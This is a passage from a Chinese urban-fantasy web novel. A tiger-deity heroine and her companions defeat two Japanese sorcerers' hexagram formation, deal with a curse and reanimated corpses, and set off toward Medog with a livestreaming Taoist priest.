有些悄咪咪土葬的地方,又是宗族势力极其强大的所在,他们两个企图偷过一个老太太的尸体,遇上那户人家的保家仙,破了法术,露了行藏,差点被孝子贤孙当成小偷给打死。 木头傀儡虽然法力弱一点,逼格低一点,不过胜在易取得,不会招来不必要的注意。 穷奇精魄回来的时候力量十足,显然没有与他们交过手。 如此凶兽,被放出去却没有与人动手就回来,他们认定是苏灵衣搞的鬼。 苏灵衣是狐狸,狐媚能惑人,也能惑妖,这是狐狸的天赋本能,与法力是否高强无关。 兴许这只狐狸变成了美女,诱惑了穷奇,这穷奇本就是由人转生而来的怪物,骨子里还带着一点男人的没出息也很正常。 道士没见两人动手,只见四个傀儡木人忽然高高跃起,向自己扑来。 他从袖里掏出一把净魔符,向木人撒去,那木人却只是晃了晃,不为所动,它们围着道士的脑袋,却没有进一步的进行物理攻击,单纯地围着。 它们还抬起了胳膊,就好像拉着手跳转圈圈舞的人一样。 净魔咒没用的时候,道士十分紧张,心中只觉“吾命休矣”,结果,四个木头人围着他,只是在转圈圈跳舞,连碰都没碰到他一下。 他全身也没有任何不舒服的感觉,道士定了定神,觉得这两个人果然是骗子,他又行了,不由冷笑一声:“呵,就拿这个跟我斗?!” 苑雪本来已经被吓得躲到了柜子后面,现在她伸着脑袋向那个方向张望:“他们这是在干什么啊?” 苏灵衣的神色却是十分凝重,他轻声对李寅寅说:“这是化用的归藏卦阵法。” 李寅寅只知道天地法则,对人类写的书没什么概念,便问苏灵衣:“说明什么?” “归藏能控制所在区域的一切灵气,为自己所用,攻击敌人。我们得赶紧想办法救他破阵!”苏灵衣知道归藏的厉害,当下十分着急。 只见那四个木头小人的八根细树枝胳膊挥动,在半空中,似乎有看不见的气息在飘动。 大自然的每一样东西都是有灵的,山有灵,水有灵,草木也有灵。 它自己能不能修成正果要看运气。 修炼者如果有足够的本事,就可以将大自然的灵气为己所用。 城市里的灵气稀薄,大自然的那点灵气都打不过电脑和手机的电磁干扰。 这里就不一样了,没有工业,电子产品也极少,人们笃信雪山和湖泊是神明的化身,有很多人会在清晨燃起松柏枝,洒入糌粑、茶叶、青稞、水果,让燃烧物升腾起烟雾,祭祀天地间诸神。 就连苑雪都感觉到了,想到自己辛苦化缘那么久,连一块石头一棵花都是她从森林里千挑万选来的,竟然不如随便瞎弄的四个木头小人……苑雪不由得语气发酸:“它们身上的灵气比我的庙还强!” “你的庙还没修好呢,修好比这四根木棍强多了,一会儿我就帮你把这四根木头拆了,拿回去煮饭!”李寅寅安慰她。 话虽这么说,但是归藏到底是天道授予人王的神物,它让商汤以弱国气运碾压天赐神君大禹后人,以商代夏。 那不是一个普通人类强者的力量,而是一个相互支援的、完整的、自然力量体系,火焰为攻,山川为守,水泽如网…… 如果李寅寅有完整的白虎星天力量,那她可以轻松将四个木头人劈成柴禾。 现在,就连她也不能保证自己可以一击必胜。 木头人的胳膊动了,一时间,地动山摇,原本晴朗的星空,忽然被云层遮得严严实实。 震卦与巽卦紧跟着发动,窗外刮起了狂风,惊雷在云层中不住暴闪。 掌握着坎卦与兑卦的木头小人挥动胳膊,暴雨骤然落下,打在玻璃上,仿佛要将玻璃打碎一般。 李寅寅的结界挡得了生灵,挡不住自然之力,字面意义上的风能进,雨能进,国王不能进。 雨声实在太响了,苑雪害怕地缩了缩身子:“再这么下的话,要塌方嘎。” “嗯。”李寅寅随意的应了一声,问苏灵衣:“是不是把施咒的人杀了就行了?” 苏灵衣:“理论上来说是这样的。” 阵法都是如此,只要坐镇在中间的阵胆没了,那一切都结束了。 李寅寅点点头,将袖子卷起:“交给你一个重要任务,一会儿把尸体处理掉。” “好。”苏灵衣痛快答应。 那两个日本术士的心思全部都在道士身上,在他们眼里,这个道士才是有真本事的人。 等弄死了他,再慢慢收拾这个女人,以及一狐一鹿也不迟。 没想到,刚才一直缩在柜子后面的女人竟然站起来,还慢慢往归藏阵走过来。 年轻的术士见状,眼里露出遗憾的神色。 他不喜欢柔情似水,任他摆布的温柔女子,没意思,他就喜欢性子烈,倔强不屈的那种,越野越好,这样才能让他有驯服烈马的快乐。 很显然,李寅寅就是这种人,他已经在脑海里幻想自己如何将李寅寅生擒活捉,捏在手中肆意玩弄,让她从哭叫怒骂到柔软顺从,然后,他就把她做成活尸傀儡,成为他的收藏品之一。 可是她现在竟然往阵里走。 归藏阵法为杀伐而生,以强悍的力量碾压阵中,以及但敢靠近的一切生灵。 不为教化,只为杀戮。 阵法一开,就连他也不能随意停下。 可惜,可惜,难得一个百分之百合乎他胃口的女人,为什么不能好好的躲在一边,非要过来送死,真是自不量力。 正想着,李寅寅已经入阵了。 道士刚才在阵眼正中,在第一次攻击时,他感觉到不妙,连滚带爬的踩在离位景门上,在普通的八卦风水中,这位置甚至算是个小吉。 但是在归藏阵之中,离位景门代表着不仅身在火场,而且四周起着大风,火焰与风相结合,煎熬着人的精神与意志,会看见假象与虚幻。 道士在十几年的求道生涯中,虽然也学了不少真东西,但是极少使用,更是没有遇到过生死悠关的时刻。 现在,他大脑一片空白,连玉帝、太乙、三清的全名都想不起来了,又觉得自己应该念点什么求神帮帮忙。 嘴里不住的叨叨:“南无太乙救苦天尊,赦免我在世上留下的罪,允我免受地狱火,赞美属于真主,万物非主唯有真主。” 李寅寅听见了,还以为他的能力比自己预料的要求很多,竟然还有心思开玩笑,她也跟着笑道:“学得挺杂啊,你这师从少林寺驻武当山办事处大神父王毛拉?” 其实道士现在已经什么都听不见了,他眼前出现大量的幻像,曾经在洪荒年代游走在此的巨兽、在战争年代死于此处的人类交替出现,耳边是震耳欲聋的嘶吼、人在临死前痛苦的哀嚎交织在一起。 他只能把这段荒诞的祷词念下去,用自己脑子里的意识,抵抗纷乱的幻像。 他额上与脖子上不住滴下的汗珠,证明他现在的状态十分辛苦,完全是在凭着意志力在苦苦支撑。 归藏大阵的基础是伏羲八卦,是宇宙最初的形态,表达的是事物的对峙:天南地北,火东水西,雷在西南泽在东北, 在阵中的人,就会受到对立力量的攻击,现在站在阵眼正中的人是李寅寅。 来自八个方位的力量,一起向她发起进攻。 火焰如龙向她喷吐着滚滚热浪,黑色弱水掀起一道水墙,像一座山一般向她砸下来。 风火雷电一时来得热闹,将她整个人团团罩住,大泽中的弱水遇到巽风吹起的离火,升起浓烈的白色水汽,将她包裹得严严实实,紫色电光不时在白色的水汽中闪过。 就连那两个术师都看不清阵中的情况,只不过,既然阵法未破,自然是身在阵中的人已死。 年轻术士又是一声叹息,年长术士白了他一眼:“待我们大功告成,多少女人任你选,你竟然为这一个叹气,真是不长进的废物!” “啧,你没听说过,弱水三千,只取一瓢饮嘛?你的汉学不过关呀。”从阵眼中心,传出李寅寅的声音。 他俩震惊地睁大了眼睛:“你……” 在他们面前的女人,全身被一阵白光笼罩,身披银色重甲,手拿银色尖枪,嘴角上扬,却眼神冰冷,在她身后的半空,站着一只银白色的巨虎。 那只虎后腿站在高处,双腿紧绷,前爪趴在低矮处,这是要捕猎的下山虎,在日本也被称为“绝凶虎。” 在虎的诸多形态之中,以下山虎最为凶恶,就连黑老大都不敢在背上纹下山虎,生怕命不够硬,反受其害。 普通术士也是如此,即使能召唤虎灵,也不会召下山虎,除非是做决死一拼。 就算下山虎成功击杀敌人,召唤它的术士也要受到虎的煞气冲击,轻则躺上三五个月,重则大脑神经受损,变成植物人。 年长术师冷冷地看着她:“女人,你知道你召唤的是什么吗!” 李寅寅露出一个嘲讽的笑容:“我觉得它长得很明确的呀……怎么,你们日本物产贫瘠到连老虎都不认识啦?” 年长术师冷冷道:“你知道召唤绝凶虎带来的后果吗?” “知道呀,你们会死得很不安祥。”李寅寅的笑容更加灿烂。 年长术师见过这种笑容,那是在很久很久以前,当他和他的同乡他的战友来到中国土地上的时候。 大多数时候,落在他手中,自知跑不掉的人会用愤怒的眼神瞪着他,高喊着“中国共产党万岁”“日本鬼子去死吧”,然后在枪声中倒下。 有时候也会遇到会这样笑的人,这种人更可怕,他们身上总是会藏着一些东西,他们会一边这样笑,一边毫不犹豫地拉开引线,轰然一声响,以一人之身换掉一个指挥部或是一个碉堡。 “我们没有深仇大恨,没有必要生死相见!”年长的术士厉声道。 “只要今日你罢手,我们保证,绝对不会伤害你,还送你一套唐代的古董宝石首饰。” 李寅寅冷笑:“抢了我们的首饰,现在送给我做人情?要不我让白虎把你的内脏都掏了,再把阑尾还给你,开心嘛?” 下山虎即使不动,那股威压也足以令凡人动弹不得。 年轻的术士已经撑不住了,双膝一软,重重跪在地上。 年长的术士还死撑着:“不是抢的!是我们的遣唐使回国时,你们的贞观皇帝送给他的礼物!” 李寅寅不为所动:“口说无凭,现在我收了它,你不给我首饰,我可怎么办呢,难道你还给我写欠条不成,要么现在就给我,要么此事再也不用提了。” 正经人,谁把古董藏在身边啊! 李寅寅的这个要求,就是拒绝谈判的意思。 “就在那里!”年长术士的眼睛望向苑雪藏身的大柜子。 苑雪蹦蹦跳跳开了柜子,拿出一个大号密码箱:“有密码!” 年老术士:“123456!” 李寅寅:“……”这么草率的吗? 箱子打开,露出一个与箱子差不多大的雕花檀木盒,苑雪看得眼睛都直了,这盒子上面嵌着螺钿玳瑁,也是唐朝古物,单这盒子就值很多很多钱。 打开盒子,里面又分为三层:第一层是两个正凤钗、十二对珠花、一支玉梳一支玳瑁梳。 第二层是耳环、额饰、项链、手镯、脚环,璎珞。 第三层是禁步明珠、压裙玉佩、还有一串完整的组玉佩。 李寅寅问道:“既然是李世民送给你们的,你们又带回来干什么?” 年长术士冷着脸:“自然有我们的用处,不过,如果你喜欢,就送给你!” “我喜欢!”说话的不是李寅寅,是苑雪。 从里面的饰品到外面的盒子,都已经进了她的眼睛,拔不出来了。 李寅寅微笑道:“那就送你一样,自己选。” “真哒!!!”苑雪双目放光,埋头在盒子里挑挑捡捡起来。 见李寅寅开口收下首饰,那两个术师心里一松,但是,李寅寅却始终没有将那只虎收起来的意思。 年长术士急了:“你什么意思?” 李寅寅微笑:“没什么意思,见面礼我收了,我同意与你们谈判,你们愿意用什么来换你们的命?” 那套首饰就是用来换命的,哪里还有别的东西。 年长术士想痛骂她,但是他已经被虎煞的威压压到几乎说不出话来:“你,不守信用,无耻。” 李寅寅淡然一笑:“我也没答应你什么呀,我只是告诉你,要现在给我,要么就拉倒。又没保证收了之后,一定饶你一命。再说……我也是跟你们学的呀,我要是对你们有道德,你们不觉得不适应嘛?毕竟你们是偷摸把铁路炸了就栽赃的人呢。” 她轻描淡写地将银枪在地上跺了跺,银白色光芒大盛,仿佛是启动下山虎的开关,一声虎啸,让整个房子都不住的颤抖,苑雪抱紧密码箱,双眼紧闭,苏灵衣现出原身,将苑雪护在身前。 年老术士知道李寅寅今天铁了心要他俩的命,也不再恳求,袖中又激射出两道红线,捆在李寅寅的双手手腕上。 刚被捆上的那一刻,李寅寅感觉到手腕如被烧灼般的疼痛。 下一秒,红线消失,在她双手手腕上出现了两个圆圆的八瓣菊图案,并散出一阵阵的黑气。 再看年长术士,竟已吐血倒地,面如金纸,没气了。 年轻术士面色森寒,袖中亮出一道短刃,对着自己的小腹就是一刀,鲜血四溅,那一瞬间,一道青绿色的光直冲向天空,向西北方向去了,人也“咕咚”一声,倒在地上。 阵胆已死,四个木头小人也跟着摔在地上,纤细的四肢被摔得离体,哪里能看出刚才的半分气势。 “啧,给小咪咬一口又不会疼,真是的,干嘛死得这么快。”李寅寅摇摇头,白光散去,她还是普通的衣着,那只虎也无影无踪。 苏灵衣已变回人形,急步向她跑来,伸手拉起她的两只手,看见那两个八瓣菊的图案,神色慌张:“你觉得怎么样?有没有哪里不舒服?疼吗?痒吗?” “没感觉,这是什么?” “这是九菊一派的秘术:枝头抱香!就是用自己的性命留下最后的诅咒,如附骨之蛆。” 李寅寅笑道:“那会怎么样?” “在施咒者死后,被下咒的人会一点一点的腐烂,七七四十九天之后,变成一个会走路的骷髅架子。” 李寅寅:“哦,就是把灵魂禁锢在身体里呗,不愧是日本人能想出来的主意。不会是从大内久那里得到的灵感吧~” “大内久是谁?”苑雪提问。 李寅寅笑道:“是一个日本人,被严重核辐射,全身都烂成一滩泥了,医生硬救,让他活了83天,就是为了研究人是怎么慢慢死掉的全过程。” “噫,变态!”苑雪露出做呕的表情。 “可不是么。” 李寅寅谈笑风生,苏灵衣忧心忡忡:“你现在的身体到底是普通人,还是天神?” “这个问题……我也不知道啊。感觉好像比普通人强一点,不过,我也没有动不动就跳个崖,割个腕的爱好……”李寅寅摸了一把水果刀,“要不,我现在试试?” “别别别……”苏灵衣赶紧把水果刀夺下来,他眉头皱了半天,只能想到一个主意:“我先看看有没有解咒的办法,实在不行的话,不是还有青龙嘛,他跟你关系还挺不错的样子,应该愿意……吧?” “嗐,无所谓,他这个狗屁咒,还能有阎王厉害?所谓阎王叫人三更死,不敢留人到五更。把魂一勾,我就下去了,凭我跟下面的关系,怎么着也能投个好家世,到时候我给你托个梦,告诉你我转世去哪了,记得来找我玩。” 她笑嘻嘻,苏灵衣还是愁眉紧锁,心里难受极了,他记得李寅寅告诉过他,现在天界不见了,她这种算是偷跑下界的,不在轮回的工作流程记录里。 也就是黑户,没有生死簿。 死了以后会不会转世,会转到哪里,都没个准。 什么托梦说转世去哪里,显然就是哄他。 “好啦,别板着脸,笑笑,为什么要为还没有发生的事情贷款烦恼呢?”李寅寅伸手按在他的嘴角,用力向上提,拉出一个比哭还难看的笑容。 她对着地上年轻术士的尸体踢了一脚:“再说,真正麻烦的是这个人的魂光,跑出去了,不知道是给谁报信呢。” 李寅寅随意在桌边坐下:“趁道士还没醒,说说你怎么知道刚才他们用的是归藏阵法的?” 《周礼》中曾记载:大卜掌三易之法一曰连山,二曰归藏,三曰周易;其经卦皆八其别皆六十有四。 连山现世,为大禹治水之用,于夏朝末年失传。 归藏现世,是商汤灭逆天人王夏桀时用,于商末失传。 到周朝时,世间就只剩下了《周易》,《连山》与《归藏》只留下名字,再也没有人知道这两本文书里的详细内容。 书册这种东西,很是奇怪,它就好像真的拥有生命一样,即使已经有许多人看过,许多人誊抄过,也能遗落的干干净净,只剩下曾经见过它的人留下的读后感和只字片语。 《连山》与《归藏》成书之时,人类书写工具尚且十分原始,不是石头就是骨头,鼎上又不会留这类文字。 连《红楼梦》那个在当时传抄版本众多的爆款小说都没留下八十回之后的故事,何况是这两本。 这两本的伪作也是满天飞,不是爷爷传下来的,就是奶奶救了什么人,那个人送的,还有说是传到了少数民族,用少数民族的文字保留下来的。 苏灵衣轻声回答:“是有施妺喜告诉我的,商汤灭夏以后,她与夏桀逃到东夷,就住在我家边上。” “她居然还带着夏桀?不是她跟伊尹联手让商汤打进来的么?”李寅寅对她逃亡还带着一个拖累不是很理解。 就算她没有独自生活的能力,但是以当时的环境,一个有生育能力的女人,还是个美女,所有的部落都会非常欢迎,完全饿不死。 何况她还有脑子,分分钟搞定部落首领,根本不是问题。 苏灵衣:“她喜欢。” 夏桀攻打有施国,有施国君献出妺喜,妺喜喜欢穿男装,听撕丝绸的声音,由于她长得好看,夏桀有求必应。 不过没过多久,夏桀又新得了两个美人,便将妺喜抛到脑后,控制欲很强的妺喜这哪能受得了,跟伊尹联手,端了本来就摇摇欲坠的夏朝。 她带着亡国的夏桀,凭着她的美貌和手腕,混成了东夷葛天氏的首领夫人,首领不知道怎么死了,她就接手了葛天氏,做了新首领。 然后,就是“落魄暴君被曾经看不起的战利品锁在床上,夜夜强制第四爱”的剧情。 李寅寅:“嗬,吾辈楷模。” 苏灵衣一惊,苑雪困惑地看着他:“脸怎么红啦?很热吗?” “哎哟,好热……”道士清醒过来,忽然发现自己面前躺着两个术士,一个睁着眼睛,一个肚子上还插着一把刀,早已断气,他瞪大了眼睛:“他们……这……这……这……” 李寅寅一本正经地告诉他:“都是你杀的。” 道士整个人僵住了:“我?!!我靠,这怎么办!” 众所周知,杀人容易,埋尸难。 第73章 墨脱 天亮了,尸体还在。 李寅寅对九菊一派非常不满:“他们都这么牛逼了,为什么就不能修炼“自掘坟墓”大招?死后,尸体自己挖个坑,自己躺里面,再放一个震土咒,把土盖上。大家都省事。” 抱怨归抱怨,尸体就放在眼前,还是要处理的。 谁家好人会自己处理尸体。 好消息是:李寅寅不是人,苏灵衣不是人,苑雪也不是人。 他们想省点事,把这两堆玩意儿悄咪咪往山底下一挪,神不知鬼觉。 李寅寅觉得自己是在做善事。 也许某一天,发生山体移位,人们发现在几百万年前形成的地层里出现了现代人的骨骼。 这绝对是刺激的未解之谜,够科学家发好几篇SCI,够编故事的人搞几十个不同的走向了。 坏消息是:这个道士,他是人类。 他的思维还是社会主义法制观念架构下的思维。 在两具尸体面前,他果断报警。 这事就有点复杂了。 法医查完,说是心肌梗死。 老的心肌梗死就算了,年轻的怎么也心肌梗死。 李寅寅:“日本人不是一向工作压力大么,难得出国来旅游一趟,一下子见到咱们的壮美山河过于激动,猝死是多么正常的事。” 警察:“可是我听说,日本人是在上班的时候混日子,快下班的时候干活,显得很忙。” 此前请了年假想看梅里雪山,结果没看着的游客随声附和:“就是啊,日本人哪有什么工作压力,他们有调休吗!他们放长假的下一周要上八天班吗?” 他身边的人也很大声:“就是,连调休制度都没有,还敢说工作压力。” 看出来了,这两位对日本人出现害他们没看见日照金山的怨念真的很大。 说话间,李寅寅看到年轻术士的手指动了一下。 还在喋喋不休骂调休的人也看见了,他惊讶地指着那个人:“他动了!” 岂止是动了,他还站起来了。 不是像人类那样先坐起来,再站起身,而是像倒放“直挺挺地倒下”那样,直挺挺地像一根木头那样立起来了。 李寅寅眼疾手快,一把将站在年轻术士身边进行痕迹检验的法医拎起来,挡在身后。 几乎就在同一时间,年轻术士张开嘴,一口黑气喷出,那是带着尸毒与诅咒的气息,被人吸进体内,从外表上看,这个人不会有什么异常,实际则会变成一个行走的传染源,碰到的人都会被尸毒毁了脑子,身体被诅咒控制,成为被术士的傀儡。 李寅寅好像闻到什么难闻气息似的,抬手在鼻子前面挥了挥,满脸嫌弃:“这是几辈子没刷牙了,臭死了。” 在她挥手的时候,一股凡人看不见的气流从她掌心凝聚,然后,向高压水枪似的对着年轻术士喷了出去。 这道气流像钉子似的钻进年轻术士眉心,他的身体像触电一般,不住颤抖。 在远方的某个房间里,一个穿着狩衣,盘腿坐在降魂阵法正间的一个中年男子忽然身体一震,他想解除咒术联接,却来不及了,一道强烈的白虎煞气从阵法中心像加强版滋水枪那样突然喷出来,将他整个人掀翻在地。 他想坐起来,但剧烈的疼痛让他的身体根本无法动弹,只能微微侧了侧身子,随即一口鲜血吐在地上,他喘息许久,不怒反笑:“难怪能杀得了土御门和贺茂,原来真有高手。” 房门被打开,一个身形纤瘦,肤色白皙的美少年见状,连忙上前,将他扶起,又给他端来一碗茶,将自己的手腕割破,将血滴在茶水中,喂中年男人喝下:“贺茂君在临死前给我们传回的瞬间记忆已经解出来了,是那个道士破的阵!还有一个贪得无厌的无耻女人,答应了土御门的条件,还赶尽杀绝!” 中年人喝了几口掺血的茶,又闭了一会儿眼睛,这才缓过神来。 美少年恭敬地跪在他的面前:“师父,我们下一步要怎么办,是否要杀了他们,以绝后患?” 中年人摇了摇头:“他们实力很强,正面进攻,我们人手不够。” 他顿了顿:“刚才说,他们中间,还有一个贪得无厌的女人?” 中年人露出阴恻恻的笑容:“贪心才好,不怕她讲原则,就怕她没爱好。你身子干净,去探探他们的底,让那个女人替我们做事!” 美少年一弯腰:“是!” 经法医验证已经死得不能再死的死人突然站起来,喷了一口气又倒下去。 这件事,现场有十几个人都看到了。 想假装没发生那是绝对不可能的。 已经有围观的人高呼:“诈尸啦!”“有鬼啊!” 就连不信邪的法医都愣在当场,过往所有的知识储备都不足以解释这件就发生在他眼前的怪事。 李寅寅打电话叫来尾火虎,简单说明了一下刚才发生的事:“消除记忆也好,勒令他们闭嘴也罢,你派人来处理。” 兹事体大,又涉及外国人,来的是尾火虎本人。 他动用职权,对在场所有人的记忆进行修改,把“尸体突然站起来,还喷了一口黑烟”,改成“尸体动了一下,吐出一口气”。 这种程度的修改,比人类自发形成的“曼德拉效应”影响还要低,天道不会对尾火虎有任何惩罚。 尸体为什么会动,因为生物磁场没有完全消散,肌肉无意识的抖一下而已,被砍了头的鲤鱼也会在锅里翻身呐。 尸体为什么会吐气,因为活着的时候吸进了最后一口气,肺部内的气压比外部大,死了,肌肉放松了,就吐出来了。 全部都有科学解释。 再加上刚才那一幕发生得太快太惊人,在场的人哪怕手里就捏着手机,也没想起来举起它,拍个小视频发朋友圈,没有任何硬货能让人回忆起这段故事,就这么平平静静地过去了。 尾火虎没那么从容,这两个术士只是出来办事的小喽罗,隔那么远还能操纵尸体的又是何方神圣?!他们在哪里?想干什么?! “九菊一派为什么会来这里?”他想不通。 这里是中国与缅甸交界处,虽说,缅甸并不至于像中文互联网上说的那样:全国都是杀人放火割腰子的无法无天之地,但是,大多数正经游客最北的目的地,只会到曼德勒,所有正经的旅游指南上,都不建议游客去比曼德勒更北的地区。 而与这里接壤的缅甸地区就是著名的娇贵小公主梦醒处——缅甸北部克钦邦。往上一点,就是当年远征军和日本人都走得很痛苦的野人山。 当年会被派过来走野人山的日本人,都是填线的炮灰,九菊一派的人不可能为这些陆军马鹿折腾这一趟。 苑雪问道:“有没有可能死在野人山里的人,有九菊一派现任掌门人的爸爸?” 博闻强记的苏灵衣当即回答:“不可能,九菊一派在明治维新之后就抱上了统制派的大腿,在226兵变的时候,海军是站统制派的,日本的陆军和海军互相看不顺眼,他们的爹怎么可能去当陆军。” 苑雪抓了抓头:“你怎么知道?” 苏灵衣回答:“九菊一派的创始人是萨摩藩的笃姬,她嫁到了德川家成了将军夫人。长州藩是后来的陆军,萨摩藩是后来的海军。” 苏灵衣一边回忆脑海里的资料,一边试图将旧事与新闻连接起来。 “我记得,1853年黑船事件,美国打开了日本国门,当时很多强势的日本人并不愿意服从,后面就是倒幕运动,笃姬与倒幕派谈条件,要求确保江户百姓和德川家所有人的生计不受影响,西乡隆盛同意后,她无血开城,把德川家的权交还给明治天皇。” 苑雪双手捧着脸:“跟中国有什么关系?” “有哇,一战结束后日本经济崩盘,1920年股市暴跌,并且持续恶化。对了,有小道消息说,1923年的关东大地震,是德川家的遗老觉得现任天皇是个废物,他们找九菊一派的人,想要复活德川家康,所以举行的大祭仪式,关东大地震死了很多人,但是他们祈求的天照大神没有回应他们的请求。” 苏灵衣眉头微皱,沉吟许久:“离这里不远的不仅是缅甸吧?还有印度。” “对。” “会不会是……他们想借用印度神的力量?”苏灵衣自己都不确定。 李寅寅也不相信:“要是印度神真这么有用,印度早就碾压美国了。” 被李寅寅鄙视,苏灵衣急忙分辩:“可是,欧洲核子研究中心门口就立着湿婆像啊。还有,现在的英国首相是印度裔,硅谷好多企业的高管也是印度裔。这怎么不算一种成功的和平演变呢?” “如果九菊一派,也学到印度这种借尸还魂的手段,让德川家康,或者别的什么人附身在别人身上复活呢?” 好像听起来是有那么几分道理。 李寅寅沉思片刻,又提出一个问题:“可是,九菊一派是中国的阴阳学派,印度神会理他们吗?” 苏灵衣指了指地图上的一块地方:“这里,印度神和中国的阴阳风水,都管用。” 他指的地方,是藏南的墨脱、察隅、错那和隆子四个县。 “这不是我们的吗?”李寅寅不解。 苏灵衣摇摇头:“墨脱县有三分之二的土地在印度的实际控制之下。整个藏南有6.8万平方公里被印度军事控制。所以,在这里,印度神的力量和中国神明信仰的力量可以同时存在。” 李寅寅没上过学,而且,在她所见过的所有中国地图上,藏南地区就是完整的,甚至连代表着“争议地区”的虚线都没有。 在她的力量感知里,也没觉得自己的地盘凭空少了6.8万平方公里。 少的这块地区,是不折不扣的西部,属于西极星空的管辖之地。 李寅寅大怒,按在桌边的手上不自觉的使劲,“嘎蹦”,无辜的桌子一角断了,她咬牙切齿:“是哪个条约送的?” “没签条约,就这么占了。”苏灵衣又补充一句:“就像锡金王国一样,印度人占着占着,就不走了。” 李寅寅从未有过这么大的挫败感:“还能让它占着就不走了!我不在,青龙不在,紫微、文曲和武曲不是都在吗!他们怎么就让人占着不走了!” 北部玄武星天缺失的那些地皮,都是签了条约,白纸黑字送出去的,拿地的国家有国际法理认证。 怎么到了她这里,是莫名其妙让人耍赖,就可以不走了的! 尾火虎对苏灵衣说得这些事情显然是清楚的,他很平静地坐在那里:“这也是没办法的事,地势不好,我们打过去补给线跟不上,印度过来很容易,人和也跟不上,印度当时有苏撑腰,不然巴基斯坦都不能跟我们好,确实不能怪我们的人不努力。” “我看就一点没努力!当时镇守西边的人是谁?朱雀家的星日马,轸水蚓,还是你们青龙家的亢金龙?不会是你吧!”李寅寅气不打一处来,神格里稍微带一点跟杀伐兵戈沾边的星官,都被她骂了个遍。 除了玄武,天塌了他们都不会管事。 除了白虎,李寅寅相信,如果是自己手下的星官守土,就算是身死魂灭,星光消没,也绝不会退让一步。 尾火虎知道是谁,他张了张嘴,话到嘴边,变成了:“西边的事情,我不清楚,不如我们去看看?” 等见到人,李寅寅有火自然会冲他发。 现在人都不在面前,要是白虎星君被气得力量暴走,再把山精水怪什么的给引出来,他的工作量就平白增加了。 李寅寅接纳了他的意见,确实是要亲自去看一看的,操作年轻术士尸体的力量确实就来自离这不远的国境线附近。 “你和我们一起去吗?”李寅寅问尾火虎。 毕竟这又是涉及到国外、超自然事件,应该是在他这个妖管局局长的工作职责覆盖范围之内。 尾火虎十分恭敬地欠了欠身:“不了,我的级别管不了藏南,那里是749局才能管的地界。我先带这两个术士的尸体回去,看看上头有什么处理意见。如果没有别的事,我就先走了。” 与众人道别之后,尾火虎的身影瞬间消失。 此时,门开了,道士进来:“我刚定了两只鸡,中午喝松茸炖鸡汤……咦?那位警察叔叔呢?” 李寅寅:“他有事先回去了,不用管他,反正他们有纪律,也不可能跟我们一起吃饭的。” 苑雪听见开始做午饭了,立马站起来往外跑:“我要吃好多松茸,我叫老板多放一点。” 道士又发现桌子有些异样:“这桌子我记得是四方形的,什么时候少了一只角?” 苏灵衣脸不红心不跳开始编故事:“哦,刚才,我问她,四方桌切掉一只角还剩几只角,她说是三只,我说是五只,她不信,怎么劝都不听,还切下来一只角,数了一下。” “啊???”道士的内心充满不解,“这不是比划一下就行了吗?” 苏灵衣一本正经:“不真切,她想象不出来。就是有一种人,天生缺乏对事物的想像能力,这个你能理解吧?叫……叫心盲症。就,你看,有些人把衣服往身上一比,就知道要挑哪一件穿,有些人死活想象不出来,一定得真穿上了才知道。小姑娘性子急,着急证明自己,就动手了嘛,没事,这桌子我们替她赔。” “……哦……”道士大概理解了,他就是必须试穿衣服的人。 被苏灵衣一解释,桌子少了一只角的事情就从匪夷所思,变成了虽然很激进,但并非不能理解。 苑雪浑然不知自己背了一口锅,还在喜滋滋地看着老板娘哐哐往锅里倒松茸和虫草花。 吃完饭,道士居然还要跟李寅寅他们同路,他说九菊一派的人可能会不甘心失败,西藏的原始苯教走的就是血祭路线了,跟九菊一派的风格相近,也许他们会去西藏利用古老苯教的祭坛搞事情。 “除恶务尽!我既然插手了这件事,就应该管到底。” 不得不说,虽然他谜之自信,但是对于九菊一派的猜测竟踩准了一部分。 “正好我们四个人一起包一辆车,还能分摊一下车费呢。”道士觉得自己的想法绝妙。 李寅寅心不在焉地应了一声,如果不是有道士,他们可以直接缩地成寸飞过去。 看出李寅寅不想带着道士,趁道士又出去看鸡汤,苏灵衣轻声说:“这道士入过归藏阵,身上也沾了与九菊一派的因果,只怕那帮日本人会误以为他才是法术大能,悄悄把他给暗杀了。” 好歹也相处一场,苑雪和苏灵衣都希望能帮他把这事了结了再分开,特别是苑雪,她胆小,还多情,跟道士才相处几天,就不忍心见他身死。 她怕李寅寅嫌烦不愿意管这事,便双手合什在李寅寅面前,一双大眼睛闪闪地望着她:“求求你,求求你,求求你……” “哎,行行行,我又没说不答应,搞得我像什么坏人一样。” 苑雪兴奋地举起双手:“耶~我就知道你是最心软最善良的好虎啦!” “吃饭啦!鸡汤好啦~”道士在外面喊了一嗓子。 饭桌就摆在厨房门口的空地上,金黄泛着油光的土鸡汤里加了木耳、虫草花和松茸,味道更加醇厚,那汤头里混着木耳的胶质,浓得好像能拉出丝来。 隔着好远都能闻见那股香气,好几拨路过的游客本来没打算从饭桌前路过,都抽着鼻子走上来:“什么这么香?” 就靠着这么一桌的示范,老板娘陆续订出去了十几锅鸡汤,喜得她又烙了一个青稞大饼:“这个是姐姐送给你们吃的!” 道士行动力极强,不到两个小时,他就找着了一辆愿意送他们去墨脱的车,油钱、司机食宿、过路钱全都谈好了。 连路上吃喝怎么摊钱也计划周全。 车开了一路,他就直播了一路。 路过通麦天险那段路,路面上零落着大大小小的石头,旁边的悬崖上还时不时掉几个拳头大小的石块下来,道士开着窗,把手机伸出去:“各位老铁注意,这就是通麦天险!看见上面的树没有?它的根已经完全暴露出来,要是雨再大一点,就会形成泥石流,滚下来。” 正说着话,头顶上传来巨响,司机脸色大变,用力把油门踩到底,车上的人系着安全带都猛然向前一冲,歪在座位上打瞌睡的苑雪撞到了头,大叫一声“啊!” 她正想抱怨司机的开车水平,就听见身后传来轰轰巨响,就在离车尾五米开外的地方,路,没了,只有一道宽约十米的黄泥汤瀑布,瀑布里夹着大石块、大树根,咆哮着飞流直下,落入悬崖。 苑雪:“!!!” 连道士都吓了一跳:“这这这,这不会是我刚才说话招来的吧?我这算不算是言灵啊!” 苑雪被巨响吓得发抖,全身僵硬,李寅寅抱着她一下一下的拍着安慰,见道士还在胡扯,把他堵回去:“你还没这么大的面子,安心坐着!不要迷信!” 道士悻悻,他怎么着也多次展示过强大的法力了,甚至还能让两个日本术士遭到反噬横死,怎么就是迷信了呢! 车继续往前开,到了解放大桥,司机才松了一口气,在这里停车休息。 道士拿着他的三角架和手机赶到桥中央:“现在,我们终于来到了安全的地方!这个桥,能建,就说明周围的环境还是比较稳定的,我们可以停下歇歇……” “桥上不许拍照!”忽然有人大声喝道,是穿着军装的士兵。 